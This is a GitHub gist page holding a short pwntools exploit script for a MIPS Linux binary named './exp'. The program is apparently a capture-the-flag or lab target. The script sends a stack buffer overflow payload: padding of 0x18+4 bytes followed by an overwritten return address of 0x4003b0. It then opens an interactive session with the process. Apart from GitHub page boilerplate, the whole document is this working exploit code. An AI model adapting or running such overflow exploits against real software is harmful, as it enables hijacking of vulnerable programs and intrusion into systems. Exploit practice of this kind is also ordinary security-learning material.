Created
January 26, 2023 20:39
-
-
Save OlivierLaflamme/12bb3be33bd2085703f3ec0796bc7c11 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context(arch='mips', os='linux', log_level='debug') | |
file_name = './exp' | |
debug = 0 | |
if debug: | |
r = remote() | |
else: | |
r = process(file_name) | |
elf = ELF(file_name) | |
def dbg(): | |
gdb.attach(r) | |
p1 = b'a' * (0x18 + 4) + p32(0x4003b0) | |
r.sendline(p1) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment